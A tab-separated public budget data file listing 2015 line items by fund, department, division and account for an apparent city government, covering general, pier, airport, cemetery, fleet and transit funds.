15759	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	383.0	0	0	0	0	0	0.0	0	0	0	0	0.0	383.0
15760	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15761	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	540590.0	EMPLOYEE RECOGNITION & APPRECI	812.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
15762	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2015	150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150.0
15763	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	13695.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13695.0
15764	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	14020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14020.0
15765	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	92021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92021.0
15766	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15767	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EAP		Salaries and Wages	2015	829.0	0	0	0	0	0	0.0	0	0	0	0	0.0	829.0
15768	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2015	240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	240.0
15769	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	2283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2283.0
15770	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402670.0	FUTURE REPLACEMENT-CNG FACILIT	650.0	Charges for Service	2015	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
15771	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511490.0	OVERTIME	808.0	Salaries and Wages	2015	93425.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93425.0
15772	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2015	-8900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8900.0
15773	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555170.0	MONITORING COSTS	808.0	 Supplies and Expenses	2015	312416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	312416.0
15774	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556050.0	LA MARATHON	820.0	 Supplies and Expenses	2015	171363.0	0	0	0	0	0	0.0	0	0	0	0	0.0	171363.0
15775	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2015	2564.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2564.0
15776	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533690.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15777	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	578790.0	MISCELLANEOUS LITIGATION	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15778	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402150.0	MORTUARY SERVICES	650.0	Charges for Service	2015	-283879.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-283879.0
15779	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	1060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1060.0
15780	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	1060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1060.0
15781	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
15782	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511749.0	VISION		Salaries and Wages	2015	1162.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1162.0
15783	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2015	15500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15500.0
15784	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	191925.0	0	0	0	0	0	0.0	0	0	0	0	0.0	191925.0
15785	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
15786	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	3300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3300.0
15787	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	35436.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35436.0
15788	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	86869.0	0	0	0	0	0	0.0	0	0	0	0	0.0	86869.0
15789	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	7080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7080.0
15790	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	16800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16800.0
15791	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	10748.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10748.0
15792	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	990.0
15793	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
15794	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
15795	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	15529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15529.0
15796	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	502.0	0	0	0	0	0	0.0	0	0	0	0	0.0	502.0
15797	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	2100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2100.0
15798	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	2131808.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2131808.0
15799	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	86308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	86308.0
15800	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	8005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8005.0
15801	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15802	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	10283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10283.0
15803	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2015	2659.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2659.0
15804	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2015	53477.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53477.0
15805	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408010.0	REVIEW OF PLANNING APPLICATION	612.0	Charges for Service	2015	-8500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8500.0
15806	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-6838.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6838.0
15807	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	578950.0	ADMIN - CON PLAN/ACTION PLAN		 Supplies and Expenses	2015	22600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22600.0
15808	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2015	672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	672.0
15809	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2015	2983.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2983.0
15810	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15811	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555061.0	PROF SERVICES-GF	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15812	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2015	1215.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1215.0
15813	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2015	215.0	0	0	0	0	0	0.0	0	0	0	0	0.0	215.0
15814	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401680.0	UNDERGROUND TANK PERMITS	612.0	Charges for Service	2015	-81546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-81546.0
15815	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	2632.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2632.0
15816	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-152558.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-152558.0
15817	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577520.0	INVESTMENT TRANSFERS		 Supplies and Expenses	2015	-423337.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-423337.0
15818	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15819	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401750.0	MUSEUM UTILITY REIMBURSE	622.0	Other	2015	-6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6000.0
15820	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	9070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9070.0
15821	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	2280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2280.0
15822	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	1060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1060.0
15823	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15824	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2015	3796.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3796.0
15825	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522710.0	AUTO REIMBURSEMENT	820.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15826	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
15827	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2015	351780.0	0	0	0	0	0	0.0	0	0	0	0	0.0	351780.0
15828	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2015	1960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1960.0
15829	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533290.0	LANDSCAPE MAINTENANCE		 Supplies and Expenses	2015	26000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26000.0
15830	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544440.0	WEBSITE DEVOP & MAINTENANCE	808.0	 Supplies and Expenses	2015	5900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5900.0
15831	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2015	37666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37666.0
15832	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15833	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	15270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15270.0
15834	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408140.0	ABOVE GROUND TANK PROGRAM	612.0	Charges for Service	2015	-12138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12138.0
15835	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556100.0	EMBALMING/CREMATION/DECEDENT C		 Supplies and Expenses	2015	52000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52000.0
15836	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	30911.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30911.0
15837	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	428109.0	0	0	0	0	0	0.0	0	0	0	0	0.0	428109.0
15838	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2015	2306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2306.0
15839	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15840	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
15841	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15842	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
15843	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	9400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9400.0
15844	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	117438.0	0	0	0	0	0	0.0	0	0	0	0	0.0	117438.0
15845	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	10620.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10620.0
15846	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2015	6548.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6548.0
15847	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2015	611.0	0	0	0	0	0	0.0	0	0	0	0	0.0	611.0
15848	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2015	562577.0	0	0	0	0	0	0.0	0	0	0	0	0.0	562577.0
15849	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	5099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5099.0
15850	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EAP		Salaries and Wages	2015	414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	414.0
15851	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
15852	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-255000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-255000.0
15853	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	22400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22400.0
15854	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	601997.0	0	0	0	0	0	0.0	0	0	0	0	0.0	601997.0
15855	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	51250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51250.0
15856	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15857	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	544160.0	RIDESHARE PROGRAM	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15858	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	12879.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12879.0
15859	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	1596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1596.0
15860	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	532.0
15861	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407070.0	CUPA ADMINISTRATION FEES	612.0	Charges for Service	2015	-168547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-168547.0
15862	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560020.0	DOWNSPOUT REDIRECT	808.0	 Supplies and Expenses	2015	1527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1527.0
15863	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-741637.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-741637.0
15864	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-228994.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-228994.0
15865	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-56067.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-56067.0
15866	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401110.0	TRAFFIC ACCIDENT HAZ MAT CLEAN	612.0	Charges for Service	2015	-30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30000.0
15867	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401170.0	ELECTION FEES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15868	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-10165.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10165.0
15869	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-17771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17771.0
15870	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-12217.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12217.0
15871	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-7616.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7616.0
15872	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-3148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3148.0
15873	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-46693.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-46693.0
15874	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-11562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11562.0
15875	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-16114.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16114.0
15876	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-6970.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6970.0
15877	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2015	-19427.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19427.0
15878	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-8891.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8891.0
15879	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-2708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2708.0
15880	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2015	-21112.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21112.0
15881	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-7203.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7203.0
15882	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	7669.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7669.0
